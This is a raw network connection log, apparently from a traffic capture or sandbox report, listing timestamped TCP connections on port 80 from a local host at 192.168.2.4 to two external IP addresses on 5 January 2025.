Jan 5, 2025 10:50:24.858335018 CET	80	59029	64.70.19.203	192.168.2.4
Jan 5, 2025 10:50:24.860898018 CET	59029	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:24.865905046 CET	59029	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:24.871079922 CET	80	59029	64.70.19.203	192.168.2.4
Jan 5, 2025 10:50:24.871160030 CET	59029	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:27.060661077 CET	59030	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:27.065598011 CET	80	59030	64.70.19.203	192.168.2.4
Jan 5, 2025 10:50:27.065702915 CET	59030	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:27.065777063 CET	59030	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:27.070790052 CET	80	59030	64.70.19.203	192.168.2.4
Jan 5, 2025 10:50:27.070863008 CET	59030	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:28.299355030 CET	59031	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:28.304224968 CET	80	59031	88.198.29.97	192.168.2.4
Jan 5, 2025 10:50:28.304408073 CET	59031	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:28.304495096 CET	59031	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:28.309499025 CET	80	59031	88.198.29.97	192.168.2.4
Jan 5, 2025 10:50:28.309658051 CET	59031	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:28.718503952 CET	59032	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:28.723457098 CET	80	59032	64.70.19.203	192.168.2.4
Jan 5, 2025 10:50:28.723535061 CET	59032	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:28.723782063 CET	59032	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:28.728648901 CET	80	59032	64.70.19.203	192.168.2.4
Jan 5, 2025 10:50:28.728699923 CET	59032	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:30.204710007 CET	59033	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:30.209630013 CET	80	59033	64.70.19.203	192.168.2.4
Jan 5, 2025 10:50:30.209712029 CET	59033	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:30.209808111 CET	59033	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:30.214822054 CET	80	59033	64.70.19.203	192.168.2.4
Jan 5, 2025 10:50:30.214868069 CET	59033	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:31.593045950 CET	59034	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:31.598656893 CET	80	59034	88.198.29.97	192.168.2.4
Jan 5, 2025 10:50:31.598743916 CET	59034	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:31.598799944 CET	59034	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:31.603790998 CET	80	59034	88.198.29.97	192.168.2.4
Jan 5, 2025 10:50:31.603846073 CET	59034	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:32.414438963 CET	59035	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:32.419291973 CET	80	59035	88.198.29.97	192.168.2.4
Jan 5, 2025 10:50:32.419353962 CET	59035	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:32.419434071 CET	59035	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:32.424457073 CET	80	59035	88.198.29.97	192.168.2.4
Jan 5, 2025 10:50:32.424540997 CET	59035	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:32.907643080 CET	59036	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:32.912519932 CET	80	59036	88.198.29.97	192.168.2.4
Jan 5, 2025 10:50:32.912587881 CET	59036	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:32.912693024 CET	59036	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:32.917726040 CET	80	59036	88.198.29.97	192.168.2.4
Jan 5, 2025 10:50:32.917963028 CET	59036	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:33.050901890 CET	59037	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:33.055802107 CET	80	59037	64.70.19.203	192.168.2.4
Jan 5, 2025 10:50:33.055994034 CET	59037	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:33.056075096 CET	59037	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:33.061033010 CET	80	59037	64.70.19.203	192.168.2.4
Jan 5, 2025 10:50:33.061167002 CET	59037	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:33.488073111 CET	59038	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:33.492928982 CET	80	59038	88.198.29.97	192.168.2.4
Jan 5, 2025 10:50:33.493050098 CET	59038	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:33.506592989 CET	59038	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:33.511490107 CET	80	59038	88.198.29.97	192.168.2.4
Jan 5, 2025 10:50:33.512193918 CET	59038	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:34.176480055 CET	59039	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:34.181284904 CET	80	59039	88.198.29.97	192.168.2.4
Jan 5, 2025 10:50:34.185017109 CET	59039	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:34.185070992 CET	59039	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:34.190035105 CET	80	59039	88.198.29.97	192.168.2.4
Jan 5, 2025 10:50:34.190110922 CET	59039	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:35.116987944 CET	59040	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:35.121804953 CET	80	59040	64.70.19.203	192.168.2.4
Jan 5, 2025 10:50:35.122325897 CET	59040	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:35.131676912 CET	59040	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:35.136552095 CET	80	59040	64.70.19.203	192.168.2.4
Jan 5, 2025 10:50:35.136686087 CET	59040	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:35.320544958 CET	59041	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:35.325311899 CET	80	59041	64.70.19.203	192.168.2.4
Jan 5, 2025 10:50:35.325375080 CET	59041	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:35.325443983 CET	59041	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:35.330338001 CET	80	59041	64.70.19.203	192.168.2.4
Jan 5, 2025 10:50:35.330497026 CET	59041	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:35.461720943 CET	59042	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:35.466586113 CET	80	59042	64.70.19.203	192.168.2.4
Jan 5, 2025 10:50:35.468883991 CET	59042	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:35.468971968 CET	59042	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:35.473881960 CET	80	59042	64.70.19.203	192.168.2.4
Jan 5, 2025 10:50:35.476871014 CET	59042	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:36.307987928 CET	59043	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:36.312808037 CET	80	59043	64.70.19.203	192.168.2.4
Jan 5, 2025 10:50:36.312884092 CET	59043	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:36.313000917 CET	59043	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:36.318905115 CET	80	59043	64.70.19.203	192.168.2.4
Jan 5, 2025 10:50:36.318960905 CET	59043	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:36.842860937 CET	59044	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:36.847662926 CET	80	59044	64.70.19.203	192.168.2.4
Jan 5, 2025 10:50:36.847733021 CET	59044	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:36.850446939 CET	59044	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:36.855263948 CET	80	59044	64.70.19.203	192.168.2.4
Jan 5, 2025 10:50:36.855310917 CET	59044	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:37.098695993 CET	59045	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:37.103568077 CET	80	59045	88.198.29.97	192.168.2.4
Jan 5, 2025 10:50:37.103651047 CET	59045	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:37.103811026 CET	59045	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:37.108623981 CET	80	59045	88.198.29.97	192.168.2.4
Jan 5, 2025 10:50:37.108673096 CET	59045	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:38.585833073 CET	59046	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:38.590709925 CET	80	59046	88.198.29.97	192.168.2.4
Jan 5, 2025 10:50:38.590778112 CET	59046	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:38.592302084 CET	59046	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:38.597162962 CET	80	59046	88.198.29.97	192.168.2.4
Jan 5, 2025 10:50:38.597230911 CET	59046	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:39.829348087 CET	59047	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:39.834151030 CET	80	59047	88.198.29.97	192.168.2.4
Jan 5, 2025 10:50:39.834218025 CET	59047	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:39.834290028 CET	59047	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:39.839190960 CET	80	59047	88.198.29.97	192.168.2.4
Jan 5, 2025 10:50:39.839235067 CET	59047	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:41.224112988 CET	59048	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:41.228877068 CET	80	59048	64.70.19.203	192.168.2.4
Jan 5, 2025 10:50:41.228936911 CET	59048	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:41.229170084 CET	59048	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:41.234010935 CET	80	59048	64.70.19.203	192.168.2.4
Jan 5, 2025 10:50:41.234057903 CET	59048	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:42.597826958 CET	59049	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:42.602658033 CET	80	59049	88.198.29.97	192.168.2.4
Jan 5, 2025 10:50:42.602720022 CET	59049	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:42.602786064 CET	59049	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:42.607779026 CET	80	59049	88.198.29.97	192.168.2.4
Jan 5, 2025 10:50:42.607834101 CET	59049	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:42.758419991 CET	59050	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:42.763345957 CET	80	59050	64.70.19.203	192.168.2.4
Jan 5, 2025 10:50:42.763411045 CET	59050	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:42.763525009 CET	59050	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:42.768491983 CET	80	59050	64.70.19.203	192.168.2.4
Jan 5, 2025 10:50:42.768557072 CET	59050	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:43.173250914 CET	59051	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:43.178024054 CET	80	59051	64.70.19.203	192.168.2.4
Jan 5, 2025 10:50:43.178093910 CET	59051	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:43.178764105 CET	59051	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:43.183664083 CET	80	59051	64.70.19.203	192.168.2.4
Jan 5, 2025 10:50:43.183720112 CET	59051	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:46.259011030 CET	59052	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:46.263860941 CET	80	59052	88.198.29.97	192.168.2.4
Jan 5, 2025 10:50:46.264131069 CET	59052	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:46.264187098 CET	59052	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:46.269072056 CET	80	59052	88.198.29.97	192.168.2.4
Jan 5, 2025 10:50:46.269146919 CET	59052	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:47.012613058 CET	59053	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:47.017407894 CET	80	59053	88.198.29.97	192.168.2.4
Jan 5, 2025 10:50:47.020908117 CET	59053	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:47.074723959 CET	59053	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:47.079658031 CET	80	59053	88.198.29.97	192.168.2.4
Jan 5, 2025 10:50:47.079727888 CET	59053	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:47.474390984 CET	59054	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:47.479432106 CET	80	59054	64.70.19.203	192.168.2.4
Jan 5, 2025 10:50:47.479510069 CET	59054	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:47.479573965 CET	59054	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:47.484877110 CET	80	59054	64.70.19.203	192.168.2.4
Jan 5, 2025 10:50:47.484949112 CET	59054	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:49.109292030 CET	59055	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:49.114154100 CET	80	59055	88.198.29.97	192.168.2.4
Jan 5, 2025 10:50:49.114228010 CET	59055	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:49.116137028 CET	59055	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:49.120959044 CET	80	59055	88.198.29.97	192.168.2.4
Jan 5, 2025 10:50:49.121023893 CET	59055	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:50.417984009 CET	59056	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:50.422787905 CET	80	59056	64.70.19.203	192.168.2.4
Jan 5, 2025 10:50:50.422849894 CET	59056	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:50.422903061 CET	59056	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:50.427872896 CET	80	59056	64.70.19.203	192.168.2.4
Jan 5, 2025 10:50:50.427908897 CET	59056	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:53.409315109 CET	59057	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:53.414187908 CET	80	59057	88.198.29.97	192.168.2.4
Jan 5, 2025 10:50:53.414263010 CET	59057	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:53.415920973 CET	59057	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:53.420753956 CET	80	59057	88.198.29.97	192.168.2.4
Jan 5, 2025 10:50:53.420819044 CET	59057	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:53.682192087 CET	59058	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:53.687047958 CET	80	59058	88.198.29.97	192.168.2.4
Jan 5, 2025 10:50:53.687133074 CET	59058	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:53.687251091 CET	59058	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:53.692111969 CET	80	59058	88.198.29.97	192.168.2.4
Jan 5, 2025 10:50:53.692166090 CET	59058	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:53.785062075 CET	59059	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:53.789983034 CET	80	59059	88.198.29.97	192.168.2.4
Jan 5, 2025 10:50:53.790083885 CET	59059	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:53.790150881 CET	59059	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:53.795114994 CET	80	59059	88.198.29.97	192.168.2.4
Jan 5, 2025 10:50:53.796063900 CET	59059	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:54.411339998 CET	59060	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:54.416241884 CET	80	59060	64.70.19.203	192.168.2.4
Jan 5, 2025 10:50:54.416332006 CET	59060	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:54.428546906 CET	59060	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:54.433454990 CET	80	59060	64.70.19.203	192.168.2.4
Jan 5, 2025 10:50:54.433558941 CET	59060	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:54.782175064 CET	59061	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:54.786997080 CET	80	59061	88.198.29.97	192.168.2.4
Jan 5, 2025 10:50:54.787130117 CET	59061	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:54.787262917 CET	59061	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:54.792171955 CET	80	59061	88.198.29.97	192.168.2.4
Jan 5, 2025 10:50:54.792224884 CET	59061	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:57.855393887 CET	59062	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:57.860318899 CET	80	59062	64.70.19.203	192.168.2.4
Jan 5, 2025 10:50:57.860403061 CET	59062	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:57.860481024 CET	59062	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:57.865530968 CET	80	59062	64.70.19.203	192.168.2.4
Jan 5, 2025 10:50:57.865602970 CET	59062	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:58.185574055 CET	59063	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:58.190361977 CET	80	59063	64.70.19.203	192.168.2.4
Jan 5, 2025 10:50:58.192912102 CET	59063	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:58.193698883 CET	59063	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:58.198554993 CET	80	59063	64.70.19.203	192.168.2.4
Jan 5, 2025 10:50:58.200922012 CET	59063	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:59.091588020 CET	59064	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:59.096398115 CET	80	59064	88.198.29.97	192.168.2.4
Jan 5, 2025 10:50:59.096534967 CET	59064	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:59.100316048 CET	59064	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:59.105185986 CET	80	59064	88.198.29.97	192.168.2.4
Jan 5, 2025 10:50:59.105232954 CET	59064	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:50:59.265147924 CET	59065	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:59.269947052 CET	80	59065	64.70.19.203	192.168.2.4
Jan 5, 2025 10:50:59.270030975 CET	59065	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:59.270087004 CET	59065	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:50:59.274981976 CET	80	59065	64.70.19.203	192.168.2.4
Jan 5, 2025 10:50:59.275033951 CET	59065	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:00.171256065 CET	59066	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:00.176088095 CET	80	59066	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:00.176323891 CET	59066	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:00.176402092 CET	59066	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:00.181324005 CET	80	59066	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:00.181564093 CET	59066	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:00.542155981 CET	59067	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:00.546962023 CET	80	59067	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:00.547058105 CET	59067	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:00.547127008 CET	59067	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:00.552062035 CET	80	59067	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:00.552906036 CET	59067	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:03.009682894 CET	59068	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:03.014483929 CET	80	59068	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:03.014560938 CET	59068	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:03.014650106 CET	59068	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:03.019478083 CET	80	59068	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:03.019578934 CET	80	59068	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:03.019628048 CET	59068	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:07.736354113 CET	59069	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:07.741620064 CET	80	59069	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:07.741683006 CET	59069	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:07.741743088 CET	59069	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:07.746753931 CET	80	59069	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:07.746795893 CET	59069	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:08.229171991 CET	59070	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:08.234049082 CET	80	59070	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:08.234141111 CET	59070	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:08.236831903 CET	59070	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:08.241703987 CET	80	59070	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:08.241765976 CET	59070	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:12.573612928 CET	59071	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:12.578453064 CET	80	59071	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:12.578520060 CET	59071	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:12.578610897 CET	59071	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:12.583517075 CET	80	59071	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:12.590677977 CET	80	59071	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:12.590750933 CET	59071	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:14.238550901 CET	59072	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:14.243416071 CET	80	59072	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:14.243510962 CET	59072	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:14.243649006 CET	59072	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:14.248584032 CET	80	59072	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:14.248645067 CET	59072	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:14.567331076 CET	59073	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:14.572221994 CET	80	59073	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:14.572300911 CET	59073	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:14.586771965 CET	59073	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:14.591633081 CET	80	59073	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:14.591684103 CET	59073	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:14.849935055 CET	59074	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:14.854876041 CET	80	59074	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:14.854948997 CET	59074	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:14.855068922 CET	59074	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:14.859991074 CET	80	59074	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:14.860043049 CET	59074	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:14.964970112 CET	59075	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:14.969820023 CET	80	59075	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:14.969880104 CET	59075	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:14.969979048 CET	59075	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:14.974946976 CET	80	59075	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:14.974994898 CET	59075	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:15.059041977 CET	59076	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:15.063920021 CET	80	59076	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:15.063976049 CET	59076	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:15.064052105 CET	59076	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:15.069077015 CET	80	59076	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:15.069123983 CET	59076	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:15.141874075 CET	59077	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:15.146805048 CET	80	59077	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:15.146871090 CET	59077	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:15.146941900 CET	59077	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:15.151860952 CET	80	59077	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:15.151911974 CET	59077	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:15.612595081 CET	59078	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:15.619204998 CET	80	59078	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:15.619327068 CET	59078	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:15.619363070 CET	59078	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:15.625821114 CET	80	59078	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:15.625927925 CET	59078	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:16.042299032 CET	59079	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:16.047173023 CET	80	59079	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:16.047298908 CET	59079	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:16.047420979 CET	59079	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:16.052539110 CET	80	59079	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:16.052916050 CET	59079	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:16.138921976 CET	59080	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:16.143753052 CET	80	59080	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:16.143862963 CET	59080	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:16.144035101 CET	59080	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:16.148844957 CET	80	59080	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:16.148936033 CET	59080	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:16.924031019 CET	59081	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:16.929100990 CET	80	59081	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:16.929230928 CET	59081	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:16.955512047 CET	59081	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:16.960386992 CET	80	59081	88.198.29.97	192.168.2.4
Jan 5, 2025 10:51:16.960458994 CET	59081	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:51:17.459212065 CET	59082	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:17.466490984 CET	80	59082	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:17.466566086 CET	59082	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:17.477293968 CET	59082	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:17.486537933 CET	80	59082	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:17.486773968 CET	59082	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:17.621311903 CET	59083	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:17.626641035 CET	80	59083	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:17.626748085 CET	59083	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:17.626808882 CET	59083	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:17.632219076 CET	80	59083	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:17.632302046 CET	59083	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:17.793386936 CET	59084	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:17.798177004 CET	80	59084	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:17.798243999 CET	59084	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:17.798353910 CET	59084	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:17.803242922 CET	80	59084	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:17.803289890 CET	59084	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:18.043473959 CET	59085	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:51:18.048290968 CET	80	59085	64.70.19.203	192.168.2.4
Jan 5, 2025 10:51:18.048357964 CET	59085	80	192.168.2.4	64.70.19.203
